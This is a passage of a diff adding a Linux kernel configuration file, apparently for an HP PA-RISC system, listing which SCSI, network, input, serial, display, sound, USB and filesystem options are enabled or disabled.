+# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
+# CONFIG_SCSI_3W_9XXX is not set
+# CONFIG_SCSI_ACARD is not set
+# CONFIG_SCSI_AHA1740 is not set
+# CONFIG_SCSI_AACRAID is not set
+# CONFIG_SCSI_AIC7XXX is not set
+# CONFIG_SCSI_AIC7XXX_OLD is not set
+# CONFIG_SCSI_AIC79XX is not set
+# CONFIG_SCSI_AIC94XX is not set
+# CONFIG_SCSI_DPT_I2O is not set
+# CONFIG_SCSI_ARCMSR is not set
+# CONFIG_MEGARAID_NEWGEN is not set
+# CONFIG_MEGARAID_LEGACY is not set
+# CONFIG_MEGARAID_SAS is not set
+# CONFIG_SCSI_HPTIOP is not set
+# CONFIG_SCSI_DMX3191D is not set
+# CONFIG_SCSI_FUTURE_DOMAIN is not set
+# CONFIG_SCSI_IPS is not set
+# CONFIG_SCSI_INITIO is not set
+# CONFIG_SCSI_INIA100 is not set
+# CONFIG_SCSI_PPA is not set
+# CONFIG_SCSI_IMM is not set
+CONFIG_SCSI_LASI700=y
+CONFIG_53C700_LE_ON_BE=y
+# CONFIG_SCSI_STEX is not set
+CONFIG_SCSI_SYM53C8XX_2=y
+CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
+CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
+CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
+CONFIG_SCSI_SYM53C8XX_MMIO=y
+CONFIG_SCSI_ZALON=y
+CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
+CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
+CONFIG_SCSI_NCR53C8XX_SYNC=20
+# CONFIG_SCSI_QLOGIC_1280 is not set
+# CONFIG_SCSI_QLA_FC is not set
+# CONFIG_SCSI_QLA_ISCSI is not set
+# CONFIG_SCSI_LPFC is not set
+# CONFIG_SCSI_SIM710 is not set
+# CONFIG_SCSI_DC395x is not set
+# CONFIG_SCSI_DC390T is not set
+# CONFIG_SCSI_NSP32 is not set
+# CONFIG_SCSI_DEBUG is not set
+# CONFIG_SCSI_SRP is not set
+# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
+# CONFIG_ATA is not set
+CONFIG_MD=y
+CONFIG_BLK_DEV_MD=y
+CONFIG_MD_LINEAR=y
+CONFIG_MD_RAID0=y
+CONFIG_MD_RAID1=y
+CONFIG_MD_RAID10=y
+# CONFIG_MD_RAID456 is not set
+# CONFIG_MD_MULTIPATH is not set
+# CONFIG_MD_FAULTY is not set
+CONFIG_BLK_DEV_DM=y
+# CONFIG_DM_DEBUG is not set
+# CONFIG_DM_CRYPT is not set
+# CONFIG_DM_SNAPSHOT is not set
+# CONFIG_DM_MIRROR is not set
+# CONFIG_DM_ZERO is not set
+# CONFIG_DM_MULTIPATH is not set
+# CONFIG_DM_DELAY is not set
+
+#
+# Fusion MPT device support
+#
+# CONFIG_FUSION is not set
+# CONFIG_FUSION_SPI is not set
+# CONFIG_FUSION_FC is not set
+# CONFIG_FUSION_SAS is not set
+
+#
+# IEEE 1394 (FireWire) support
+#
+# CONFIG_FIREWIRE is not set
+# CONFIG_IEEE1394 is not set
+# CONFIG_I2O is not set
+CONFIG_NETDEVICES=y
+# CONFIG_NETDEVICES_MULTIQUEUE is not set
+CONFIG_DUMMY=m
+CONFIG_BONDING=m
+# CONFIG_MACVLAN is not set
+# CONFIG_EQUALIZER is not set
+CONFIG_TUN=m
+# CONFIG_VETH is not set
+# CONFIG_IP1000 is not set
+# CONFIG_ARCNET is not set
+# CONFIG_PHYLIB is not set
+CONFIG_NET_ETHERNET=y
+CONFIG_MII=m
+CONFIG_LASI_82596=y
+# CONFIG_HAPPYMEAL is not set
+# CONFIG_SUNGEM is not set
+# CONFIG_CASSINI is not set
+# CONFIG_NET_VENDOR_3COM is not set
+# CONFIG_NET_VENDOR_SMC is not set
+CONFIG_NET_TULIP=y
+# CONFIG_DE2104X is not set
+CONFIG_TULIP=y
+# CONFIG_TULIP_MWI is not set
+# CONFIG_TULIP_MMIO is not set
+# CONFIG_TULIP_NAPI is not set
+# CONFIG_DE4X5 is not set
+# CONFIG_WINBOND_840 is not set
+# CONFIG_DM9102 is not set
+# CONFIG_ULI526X is not set
+# CONFIG_PCMCIA_XIRCOM is not set
+# CONFIG_PCMCIA_XIRTULIP is not set
+# CONFIG_DEPCA is not set
+# CONFIG_HP100 is not set
+# CONFIG_IBM_NEW_EMAC_ZMII is not set
+# CONFIG_IBM_NEW_EMAC_RGMII is not set
+# CONFIG_IBM_NEW_EMAC_TAH is not set
+# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
+CONFIG_NET_PCI=y
+# CONFIG_PCNET32 is not set
+# CONFIG_AMD8111_ETH is not set
+# CONFIG_ADAPTEC_STARFIRE is not set
+# CONFIG_AC3200 is not set
+# CONFIG_B44 is not set
+# CONFIG_FORCEDETH is not set
+# CONFIG_EEPRO100 is not set
+# CONFIG_E100 is not set
+# CONFIG_LNE390 is not set
+# CONFIG_FEALNX is not set
+# CONFIG_NATSEMI is not set
+# CONFIG_NE2K_PCI is not set
+# CONFIG_NE3210 is not set
+# CONFIG_ES3210 is not set
+# CONFIG_8139CP is not set
+# CONFIG_8139TOO is not set
+# CONFIG_SIS900 is not set
+# CONFIG_EPIC100 is not set
+# CONFIG_SUNDANCE is not set
+# CONFIG_TLAN is not set
+# CONFIG_VIA_RHINE is not set
+# CONFIG_SC92031 is not set
+# CONFIG_NET_POCKET is not set
+CONFIG_NETDEV_1000=y
+CONFIG_ACENIC=y
+# CONFIG_ACENIC_OMIT_TIGON_I is not set
+# CONFIG_DL2K is not set
+# CONFIG_E1000 is not set
+# CONFIG_E1000E is not set
+# CONFIG_NS83820 is not set
+# CONFIG_HAMACHI is not set
+# CONFIG_YELLOWFIN is not set
+# CONFIG_R8169 is not set
+# CONFIG_SIS190 is not set
+# CONFIG_SKGE is not set
+# CONFIG_SKY2 is not set
+# CONFIG_SK98LIN is not set
+# CONFIG_VIA_VELOCITY is not set
+CONFIG_TIGON3=y
+# CONFIG_BNX2 is not set
+# CONFIG_QLA3XXX is not set
+# CONFIG_ATL1 is not set
+CONFIG_NETDEV_10000=y
+# CONFIG_CHELSIO_T1 is not set
+# CONFIG_CHELSIO_T3 is not set
+# CONFIG_IXGBE is not set
+# CONFIG_IXGB is not set
+# CONFIG_S2IO is not set
+# CONFIG_MYRI10GE is not set
+# CONFIG_NETXEN_NIC is not set
+# CONFIG_NIU is not set
+# CONFIG_MLX4_CORE is not set
+# CONFIG_TEHUTI is not set
+# CONFIG_TR is not set
+
+#
+# Wireless LAN
+#
+# CONFIG_WLAN_PRE80211 is not set
+# CONFIG_WLAN_80211 is not set
+
+#
+# USB Network Adapters
+#
+# CONFIG_USB_CATC is not set
+# CONFIG_USB_KAWETH is not set
+# CONFIG_USB_PEGASUS is not set
+# CONFIG_USB_RTL8150 is not set
+# CONFIG_USB_USBNET_MII is not set
+# CONFIG_USB_USBNET is not set
+CONFIG_NET_PCMCIA=y
+# CONFIG_PCMCIA_3C589 is not set
+# CONFIG_PCMCIA_3C574 is not set
+# CONFIG_PCMCIA_FMVJ18X is not set
+# CONFIG_PCMCIA_PCNET is not set
+# CONFIG_PCMCIA_NMCLAN is not set
+# CONFIG_PCMCIA_SMC91C92 is not set
+# CONFIG_PCMCIA_XIRC2PS is not set
+# CONFIG_PCMCIA_AXNET is not set
+# CONFIG_WAN is not set
+# CONFIG_FDDI is not set
+# CONFIG_HIPPI is not set
+# CONFIG_PLIP is not set
+CONFIG_PPP=m
+# CONFIG_PPP_MULTILINK is not set
+# CONFIG_PPP_FILTER is not set
+CONFIG_PPP_ASYNC=m
+CONFIG_PPP_SYNC_TTY=m
+CONFIG_PPP_DEFLATE=m
+CONFIG_PPP_BSDCOMP=m
+# CONFIG_PPP_MPPE is not set
+CONFIG_PPPOE=m
+# CONFIG_PPPOL2TP is not set
+# CONFIG_SLIP is not set
+CONFIG_SLHC=m
+# CONFIG_NET_FC is not set
+# CONFIG_SHAPER is not set
+# CONFIG_NETCONSOLE is not set
+# CONFIG_NETPOLL is not set
+# CONFIG_NET_POLL_CONTROLLER is not set
+# CONFIG_ISDN is not set
+# CONFIG_PHONE is not set
+
+#
+# Input device support
+#
+CONFIG_INPUT=y
+# CONFIG_INPUT_FF_MEMLESS is not set
+# CONFIG_INPUT_POLLDEV is not set
+
+#
+# Userland interfaces
+#
+CONFIG_INPUT_MOUSEDEV=y
+CONFIG_INPUT_MOUSEDEV_PSAUX=y
+CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
+CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
+# CONFIG_INPUT_JOYDEV is not set
+# CONFIG_INPUT_TSDEV is not set
+# CONFIG_INPUT_EVDEV is not set
+# CONFIG_INPUT_EVBUG is not set
+
+#
+# Input Device Drivers
+#
+CONFIG_INPUT_KEYBOARD=y
+CONFIG_KEYBOARD_ATKBD=y
+CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
+# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
+# CONFIG_KEYBOARD_SUNKBD is not set
+# CONFIG_KEYBOARD_LKKBD is not set
+# CONFIG_KEYBOARD_XTKBD is not set
+# CONFIG_KEYBOARD_NEWTON is not set
+# CONFIG_KEYBOARD_STOWAWAY is not set
+# CONFIG_KEYBOARD_HIL_OLD is not set
+CONFIG_KEYBOARD_HIL=y
+CONFIG_INPUT_MOUSE=y
+CONFIG_MOUSE_PS2=y
+CONFIG_MOUSE_PS2_ALPS=y
+CONFIG_MOUSE_PS2_LOGIPS2PP=y
+CONFIG_MOUSE_PS2_SYNAPTICS=y
+CONFIG_MOUSE_PS2_LIFEBOOK=y
+CONFIG_MOUSE_PS2_TRACKPOINT=y
+# CONFIG_MOUSE_PS2_TOUCHKIT is not set
+CONFIG_MOUSE_SERIAL=y
+# CONFIG_MOUSE_APPLETOUCH is not set
+# CONFIG_MOUSE_VSXXXAA is not set
+CONFIG_MOUSE_HIL=y
+# CONFIG_INPUT_JOYSTICK is not set
+# CONFIG_INPUT_TABLET is not set
+# CONFIG_INPUT_TOUCHSCREEN is not set
+# CONFIG_INPUT_MISC is not set
+
+#
+# Hardware I/O ports
+#
+CONFIG_SERIO=y
+CONFIG_SERIO_SERPORT=y
+# CONFIG_SERIO_PARKBD is not set
+CONFIG_SERIO_GSCPS2=y
+CONFIG_HP_SDC=y
+CONFIG_HIL_MLC=y
+# CONFIG_SERIO_PCIPS2 is not set
+CONFIG_SERIO_LIBPS2=y
+# CONFIG_SERIO_RAW is not set
+# CONFIG_GAMEPORT is not set
+
+#
+# Character devices
+#
+CONFIG_VT=y
+CONFIG_VT_CONSOLE=y
+CONFIG_HW_CONSOLE=y
+# CONFIG_VT_HW_CONSOLE_BINDING is not set
+# CONFIG_SERIAL_NONSTANDARD is not set
+
+#
+# Serial drivers
+#
+CONFIG_SERIAL_8250=y
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_SERIAL_8250_GSC=y
+CONFIG_SERIAL_8250_PCI=y
+CONFIG_SERIAL_8250_CS=y
+CONFIG_SERIAL_8250_NR_UARTS=17
+CONFIG_SERIAL_8250_RUNTIME_UARTS=4
+CONFIG_SERIAL_8250_EXTENDED=y
+CONFIG_SERIAL_8250_MANY_PORTS=y
+CONFIG_SERIAL_8250_SHARE_IRQ=y
+# CONFIG_SERIAL_8250_DETECT_IRQ is not set
+# CONFIG_SERIAL_8250_RSA is not set
+
+#
+# Non-8250 serial port support
+#
+CONFIG_SERIAL_MUX=y
+CONFIG_SERIAL_MUX_CONSOLE=y
+CONFIG_SERIAL_CORE=y
+CONFIG_SERIAL_CORE_CONSOLE=y
+# CONFIG_SERIAL_JSM is not set
+CONFIG_UNIX98_PTYS=y
+CONFIG_LEGACY_PTYS=y
+CONFIG_LEGACY_PTY_COUNT=64
+CONFIG_PRINTER=m
+# CONFIG_LP_CONSOLE is not set
+CONFIG_PPDEV=m
+# CONFIG_TIPAR is not set
+# CONFIG_IPMI_HANDLER is not set
+# CONFIG_WATCHDOG is not set
+# CONFIG_HW_RANDOM is not set
+CONFIG_GEN_RTC=y
+CONFIG_GEN_RTC_X=y
+# CONFIG_R3964 is not set
+# CONFIG_APPLICOM is not set
+# CONFIG_AGP is not set
+# CONFIG_DRM is not set
+
+#
+# PCMCIA character devices
+#
+# CONFIG_SYNCLINK_CS is not set
+# CONFIG_CARDMAN_4000 is not set
+# CONFIG_CARDMAN_4040 is not set
+# CONFIG_RAW_DRIVER is not set
+# CONFIG_TCG_TPM is not set
+CONFIG_DEVPORT=y
+# CONFIG_I2C is not set
+
+#
+# SPI support
+#
+# CONFIG_SPI is not set
+# CONFIG_SPI_MASTER is not set
+# CONFIG_W1 is not set
+# CONFIG_POWER_SUPPLY is not set
+# CONFIG_HWMON is not set
+
+#
+# Sonics Silicon Backplane
+#
+CONFIG_SSB_POSSIBLE=y
+# CONFIG_SSB is not set
+
+#
+# Multifunction device drivers
+#
+# CONFIG_MFD_SM501 is not set
+
+#
+# Multimedia devices
+#
+# CONFIG_VIDEO_DEV is not set
+# CONFIG_DVB_CORE is not set
+# CONFIG_DAB is not set
+
+#
+# Graphics support
+#
+# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
+
+#
+# Display device support
+#
+# CONFIG_DISPLAY_SUPPORT is not set
+# CONFIG_VGASTATE is not set
+CONFIG_VIDEO_OUTPUT_CONTROL=m
+CONFIG_FB=y
+# CONFIG_FIRMWARE_EDID is not set
+# CONFIG_FB_DDC is not set
+CONFIG_FB_CFB_FILLRECT=y
+CONFIG_FB_CFB_COPYAREA=y
+CONFIG_FB_CFB_IMAGEBLIT=y
+# CONFIG_FB_SYS_FILLRECT is not set
+# CONFIG_FB_SYS_COPYAREA is not set
+# CONFIG_FB_SYS_IMAGEBLIT is not set
+# CONFIG_FB_SYS_FOPS is not set
+CONFIG_FB_DEFERRED_IO=y
+# CONFIG_FB_SVGALIB is not set
+# CONFIG_FB_MACMODES is not set
+# CONFIG_FB_BACKLIGHT is not set
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_FB_TILEBLITTING=y
+
+#
+# Frame buffer hardware drivers
+#
+# CONFIG_FB_CIRRUS is not set
+# CONFIG_FB_PM2 is not set
+# CONFIG_FB_CYBER2000 is not set
+# CONFIG_FB_ASILIANT is not set
+# CONFIG_FB_IMSTT is not set
+CONFIG_FB_STI=y
+# CONFIG_FB_S1D13XXX is not set
+# CONFIG_FB_NVIDIA is not set
+# CONFIG_FB_RIVA is not set
+# CONFIG_FB_MATROX is not set
+# CONFIG_FB_RADEON is not set
+# CONFIG_FB_ATY128 is not set
+# CONFIG_FB_ATY is not set
+# CONFIG_FB_S3 is not set
+# CONFIG_FB_SAVAGE is not set
+# CONFIG_FB_SIS is not set
+# CONFIG_FB_NEOMAGIC is not set
+# CONFIG_FB_KYRO is not set
+# CONFIG_FB_3DFX is not set
+# CONFIG_FB_VOODOO1 is not set
+# CONFIG_FB_VT8623 is not set
+# CONFIG_FB_TRIDENT is not set
+# CONFIG_FB_ARK is not set
+# CONFIG_FB_PM3 is not set
+# CONFIG_FB_VIRTUAL is not set
+
+#
+# Console display driver support
+#
+CONFIG_DUMMY_CONSOLE=y
+CONFIG_DUMMY_CONSOLE_COLUMNS=128
+CONFIG_DUMMY_CONSOLE_ROWS=48
+CONFIG_FRAMEBUFFER_CONSOLE=y
+# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
+# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
+CONFIG_STI_CONSOLE=y
+CONFIG_FONTS=y
+# CONFIG_FONT_8x8 is not set
+CONFIG_FONT_8x16=y
+# CONFIG_FONT_6x11 is not set
+# CONFIG_FONT_7x14 is not set
+# CONFIG_FONT_PEARL_8x8 is not set
+# CONFIG_FONT_ACORN_8x8 is not set
+# CONFIG_FONT_MINI_4x6 is not set
+# CONFIG_FONT_SUN8x16 is not set
+# CONFIG_FONT_SUN12x22 is not set
+# CONFIG_FONT_10x18 is not set
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+# CONFIG_LOGO_LINUX_VGA16 is not set
+# CONFIG_LOGO_LINUX_CLUT224 is not set
+CONFIG_LOGO_PARISC_CLUT224=y
+
+#
+# Sound
+#
+CONFIG_SOUND=y
+
+#
+# Advanced Linux Sound Architecture
+#
+CONFIG_SND=y
+CONFIG_SND_TIMER=y
+CONFIG_SND_PCM=y
+CONFIG_SND_SEQUENCER=y
+# CONFIG_SND_SEQ_DUMMY is not set
+CONFIG_SND_OSSEMUL=y
+CONFIG_SND_MIXER_OSS=y
+CONFIG_SND_PCM_OSS=y
+CONFIG_SND_PCM_OSS_PLUGINS=y
+CONFIG_SND_SEQUENCER_OSS=y
+CONFIG_SND_DYNAMIC_MINORS=y
+CONFIG_SND_SUPPORT_OLD_API=y
+CONFIG_SND_VERBOSE_PROCFS=y
+# CONFIG_SND_VERBOSE_PRINTK is not set
+# CONFIG_SND_DEBUG is not set
+
+#
+# Generic devices
+#
+CONFIG_SND_AC97_CODEC=y
+# CONFIG_SND_DUMMY is not set
+# CONFIG_SND_VIRMIDI is not set
+# CONFIG_SND_MTPAV is not set
+# CONFIG_SND_MTS64 is not set
+# CONFIG_SND_SERIAL_U16550 is not set
+# CONFIG_SND_MPU401 is not set
+# CONFIG_SND_PORTMAN2X4 is not set
+
+#
+# PCI devices
+#
+CONFIG_SND_AD1889=y
+# CONFIG_SND_ALS300 is not set
+# CONFIG_SND_ALI5451 is not set
+# CONFIG_SND_ATIIXP is not set
+# CONFIG_SND_ATIIXP_MODEM is not set
+# CONFIG_SND_AU8810 is not set
+# CONFIG_SND_AU8820 is not set
+# CONFIG_SND_AU8830 is not set
+# CONFIG_SND_AZT3328 is not set
+# CONFIG_SND_BT87X is not set
+# CONFIG_SND_CA0106 is not set
+# CONFIG_SND_CMIPCI is not set
+# CONFIG_SND_CS4281 is not set
+# CONFIG_SND_CS46XX is not set
+# CONFIG_SND_DARLA20 is not set
+# CONFIG_SND_GINA20 is not set
+# CONFIG_SND_LAYLA20 is not set
+# CONFIG_SND_DARLA24 is not set
+# CONFIG_SND_GINA24 is not set
+# CONFIG_SND_LAYLA24 is not set
+# CONFIG_SND_MONA is not set
+# CONFIG_SND_MIA is not set
+# CONFIG_SND_ECHO3G is not set
+# CONFIG_SND_INDIGO is not set
+# CONFIG_SND_INDIGOIO is not set
+# CONFIG_SND_INDIGODJ is not set
+# CONFIG_SND_EMU10K1 is not set
+# CONFIG_SND_EMU10K1X is not set
+# CONFIG_SND_ENS1370 is not set
+# CONFIG_SND_ENS1371 is not set
+# CONFIG_SND_ES1938 is not set
+# CONFIG_SND_ES1968 is not set
+# CONFIG_SND_FM801 is not set
+# CONFIG_SND_HDA_INTEL is not set
+# CONFIG_SND_HDSP is not set
+# CONFIG_SND_HDSPM is not set
+# CONFIG_SND_ICE1712 is not set
+# CONFIG_SND_ICE1724 is not set
+# CONFIG_SND_INTEL8X0 is not set
+# CONFIG_SND_INTEL8X0M is not set
+# CONFIG_SND_KORG1212 is not set
+# CONFIG_SND_MAESTRO3 is not set
+# CONFIG_SND_MIXART is not set
+# CONFIG_SND_NM256 is not set
+# CONFIG_SND_PCXHR is not set
+# CONFIG_SND_RIPTIDE is not set
+# CONFIG_SND_RME32 is not set
+# CONFIG_SND_RME96 is not set
+# CONFIG_SND_RME9652 is not set
+# CONFIG_SND_SONICVIBES is not set
+# CONFIG_SND_TRIDENT is not set
+# CONFIG_SND_VIA82XX is not set
+# CONFIG_SND_VIA82XX_MODEM is not set
+# CONFIG_SND_VX222 is not set
+# CONFIG_SND_YMFPCI is not set
+# CONFIG_SND_AC97_POWER_SAVE is not set
+
+#
+# USB devices
+#
+# CONFIG_SND_USB_AUDIO is not set
+# CONFIG_SND_USB_CAIAQ is not set
+
+#
+# PCMCIA devices
+#
+# CONFIG_SND_VXPOCKET is not set
+# CONFIG_SND_PDAUDIOCF is not set
+
+#
+# GSC devices
+#
+CONFIG_SND_HARMONY=y
+
+#
+# System on Chip audio support
+#
+# CONFIG_SND_SOC is not set
+
+#
+# SoC Audio support for SuperH
+#
+
+#
+# Open Sound System
+#
+# CONFIG_SOUND_PRIME is not set
+CONFIG_AC97_BUS=y
+CONFIG_HID_SUPPORT=y
+CONFIG_HID=y
+CONFIG_HID_DEBUG=y
+
+#
+# USB Input Devices
+#
+CONFIG_USB_HID=y
+# CONFIG_USB_HIDINPUT_POWERBOOK is not set
+# CONFIG_HID_FF is not set
+# CONFIG_USB_HIDDEV is not set
+CONFIG_USB_SUPPORT=y
+CONFIG_USB_ARCH_HAS_HCD=y
+CONFIG_USB_ARCH_HAS_OHCI=y
+CONFIG_USB_ARCH_HAS_EHCI=y
+CONFIG_USB=y
+# CONFIG_USB_DEBUG is not set
+
+#
+# Miscellaneous USB options
+#
+CONFIG_USB_DEVICEFS=y
+CONFIG_USB_DEVICE_CLASS=y
+# CONFIG_USB_DYNAMIC_MINORS is not set
+# CONFIG_USB_OTG is not set
+
+#
+# USB Host Controller Drivers
+#
+# CONFIG_USB_EHCI_HCD is not set
+# CONFIG_USB_ISP116X_HCD is not set
+CONFIG_USB_OHCI_HCD=y
+# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
+# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
+CONFIG_USB_OHCI_LITTLE_ENDIAN=y
+CONFIG_USB_UHCI_HCD=y
+# CONFIG_USB_SL811_HCD is not set
+# CONFIG_USB_R8A66597_HCD is not set
+
+#
+# USB Device Class drivers
+#
+# CONFIG_USB_ACM is not set
+# CONFIG_USB_PRINTER is not set
+
+#
+# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
+#
+
+#
+# may also be needed; see USB_STORAGE Help for more information
+#
+# CONFIG_USB_STORAGE is not set
+# CONFIG_USB_LIBUSUAL is not set
+
+#
+# USB Imaging devices
+#
+# CONFIG_USB_MDC800 is not set
+# CONFIG_USB_MICROTEK is not set
+CONFIG_USB_MON=y
+
+#
+# USB port drivers
+#
+# CONFIG_USB_USS720 is not set
+
+#
+# USB Serial Converter support
+#
+# CONFIG_USB_SERIAL is not set
+
+#
+# USB Miscellaneous drivers
+#
+# CONFIG_USB_EMI62 is not set
+# CONFIG_USB_EMI26 is not set
+# CONFIG_USB_ADUTUX is not set
+# CONFIG_USB_AUERSWALD is not set
+# CONFIG_USB_RIO500 is not set
+# CONFIG_USB_LEGOTOWER is not set
+# CONFIG_USB_LCD is not set
+# CONFIG_USB_BERRY_CHARGE is not set
+# CONFIG_USB_LED is not set
+# CONFIG_USB_CYPRESS_CY7C63 is not set
+# CONFIG_USB_CYTHERM is not set
+# CONFIG_USB_PHIDGET is not set
+# CONFIG_USB_IDMOUSE is not set
+# CONFIG_USB_FTDI_ELAN is not set
+# CONFIG_USB_APPLEDISPLAY is not set
+# CONFIG_USB_LD is not set
+# CONFIG_USB_TRANCEVIBRATOR is not set
+# CONFIG_USB_IOWARRIOR is not set
+# CONFIG_USB_TEST is not set
+
+#
+# USB DSL modem support
+#
+
+#
+# USB Gadget Support
+#
+# CONFIG_USB_GADGET is not set
+# CONFIG_MMC is not set
+# CONFIG_NEW_LEDS is not set
+# CONFIG_INFINIBAND is not set
+# CONFIG_RTC_CLASS is not set
+
+#
+# DMA Engine support
+#
+# CONFIG_DMA_ENGINE is not set
+
+#
+# DMA Clients
+#
+
+#
+# DMA Devices
+#
+# CONFIG_AUXDISPLAY is not set
+
+#
+# Userspace I/O
+#
+# CONFIG_UIO is not set
+
+#
+# File systems
+#
+CONFIG_EXT2_FS=y
+# CONFIG_EXT2_FS_XATTR is not set
+# CONFIG_EXT2_FS_XIP is not set
+CONFIG_EXT3_FS=y
+# CONFIG_EXT3_FS_XATTR is not set
+# CONFIG_EXT4DEV_FS is not set
+CONFIG_JBD=y
+# CONFIG_JBD_DEBUG is not set
+# CONFIG_REISERFS_FS is not set
+# CONFIG_JFS_FS is not set
+CONFIG_FS_POSIX_ACL=y
+# CONFIG_XFS_FS is not set
+# CONFIG_GFS2_FS is not set
+# CONFIG_OCFS2_FS is not set
+# CONFIG_MINIX_FS is not set
+# CONFIG_ROMFS_FS is not set
+CONFIG_INOTIFY=y
+CONFIG_INOTIFY_USER=y
+# CONFIG_QUOTA is not set
+CONFIG_DNOTIFY=y
+CONFIG_AUTOFS_FS=y
+# CONFIG_AUTOFS4_FS is not set
+# CONFIG_FUSE_FS is not set
+
+#
+# CD-ROM/DVD Filesystems
+#
+CONFIG_ISO9660_FS=y
+CONFIG_JOLIET=y
+# CONFIG_ZISOFS is not set
+# CONFIG_UDF_FS is not set
+
+#
+# DOS/FAT/NT Filesystems
+#
+CONFIG_FAT_FS=y
+# CONFIG_MSDOS_FS is not set
+CONFIG_VFAT_FS=y
+CONFIG_FAT_DEFAULT_CODEPAGE=437
+CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
+# CONFIG_NTFS_FS is not set
+
+#
+# Pseudo filesystems
+#
+CONFIG_PROC_FS=y
+CONFIG_PROC_KCORE=y
+CONFIG_PROC_SYSCTL=y
+CONFIG_SYSFS=y
+CONFIG_TMPFS=y
+# CONFIG_TMPFS_POSIX_ACL is not set
+# CONFIG_HUGETLB_PAGE is not set
+CONFIG_RAMFS=y
+# CONFIG_CONFIGFS_FS is not set
+
+#
+# Miscellaneous filesystems
+#
+# CONFIG_ADFS_FS is not set
+# CONFIG_AFFS_FS is not set
+# CONFIG_ECRYPT_FS is not set
+# CONFIG_HFS_FS is not set
+# CONFIG_HFSPLUS_FS is not set
+# CONFIG_BEFS_FS is not set
+# CONFIG_BFS_FS is not set
+# CONFIG_EFS_FS is not set
+# CONFIG_CRAMFS is not set
+# CONFIG_VXFS_FS is not set
+# CONFIG_HPFS_FS is not set
+# CONFIG_QNX4FS_FS is not set
+# CONFIG_SYSV_FS is not set
+# CONFIG_UFS_FS is not set
+
+#
+# Network File Systems
+#
+CONFIG_NFS_FS=y
+CONFIG_NFS_V3=y
+# CONFIG_NFS_V3_ACL is not set
+# CONFIG_NFS_V4 is not set
+# CONFIG_NFS_DIRECTIO is not set
+CONFIG_NFSD=y
+CONFIG_NFSD_V3=y
+# CONFIG_NFSD_V3_ACL is not set
+CONFIG_NFSD_V4=y
+CONFIG_NFSD_TCP=y
+CONFIG_ROOT_NFS=y
+CONFIG_LOCKD=y
+CONFIG_LOCKD_V4=y
+CONFIG_EXPORTFS=y
+CONFIG_NFS_COMMON=y
+CONFIG_SUNRPC=y
+CONFIG_SUNRPC_GSS=y
+# CONFIG_SUNRPC_BIND34 is not set
+CONFIG_RPCSEC_GSS_KRB5=y
+CONFIG_RPCSEC_GSS_SPKM3=m
+CONFIG_SMB_FS=m
+CONFIG_SMB_NLS_DEFAULT=y
+CONFIG_SMB_NLS_REMOTE="cp437"
+CONFIG_CIFS=m
+# CONFIG_CIFS_STATS is not set
+# CONFIG_CIFS_WEAK_PW_HASH is not set
+# CONFIG_CIFS_XATTR is not set
+# CONFIG_CIFS_DEBUG2 is not set
+# CONFIG_CIFS_EXPERIMENTAL is not set
+# CONFIG_NCP_FS is not set
+# CONFIG_CODA_FS is not set
+# CONFIG_AFS_FS is not set
+
+#
+# Partition Types
+#
+# CONFIG_PARTITION_ADVANCED is not set
+CONFIG_MSDOS_PARTITION=y
+
+#
+# Native Language Support
+#
+CONFIG_NLS=y
+CONFIG_NLS_DEFAULT="iso8859-1"
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_CODEPAGE_737=m
+CONFIG_NLS_CODEPAGE_775=m
+CONFIG_NLS_CODEPAGE_850=m
+CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_855=m
+CONFIG_NLS_CODEPAGE_857=m
+CONFIG_NLS_CODEPAGE_860=m
+CONFIG_NLS_CODEPAGE_861=m
+CONFIG_NLS_CODEPAGE_862=m
+CONFIG_NLS_CODEPAGE_863=m
+CONFIG_NLS_CODEPAGE_864=m
+CONFIG_NLS_CODEPAGE_865=m
+CONFIG_NLS_CODEPAGE_866=m
+CONFIG_NLS_CODEPAGE_869=m
+CONFIG_NLS_CODEPAGE_936=m
+CONFIG_NLS_CODEPAGE_950=m
+CONFIG_NLS_CODEPAGE_932=m
+CONFIG_NLS_CODEPAGE_949=m
+CONFIG_NLS_CODEPAGE_874=m
+CONFIG_NLS_ISO8859_8=m
+CONFIG_NLS_CODEPAGE_1250=y
+CONFIG_NLS_CODEPAGE_1251=m
+CONFIG_NLS_ASCII=m
+CONFIG_NLS_ISO8859_1=y
+CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_ISO8859_3=m
+CONFIG_NLS_ISO8859_4=m
+CONFIG_NLS_ISO8859_5=m
+CONFIG_NLS_ISO8859_6=m
+CONFIG_NLS_ISO8859_7=m
+CONFIG_NLS_ISO8859_9=m
+CONFIG_NLS_ISO8859_13=m
+CONFIG_NLS_ISO8859_14=m
+CONFIG_NLS_ISO8859_15=m
+CONFIG_NLS_KOI8_R=m
+CONFIG_NLS_KOI8_U=m
+CONFIG_NLS_UTF8=y
+
+#
+# Distributed Lock Manager
+#
+# CONFIG_DLM is not set
+
+#
+# Profiling support
+#
+CONFIG_PROFILING=y
+CONFIG_OPROFILE=m
+
+#
+# Kernel hacking
+#
+# CONFIG_PRINTK_TIME is not set
+CONFIG_ENABLE_MUST_CHECK=y
+CONFIG_MAGIC_SYSRQ=y
+# CONFIG_UNUSED_SYMBOLS is not set
+# CONFIG_DEBUG_FS is not set
+CONFIG_HEADERS_CHECK=y
+CONFIG_DEBUG_KERNEL=y
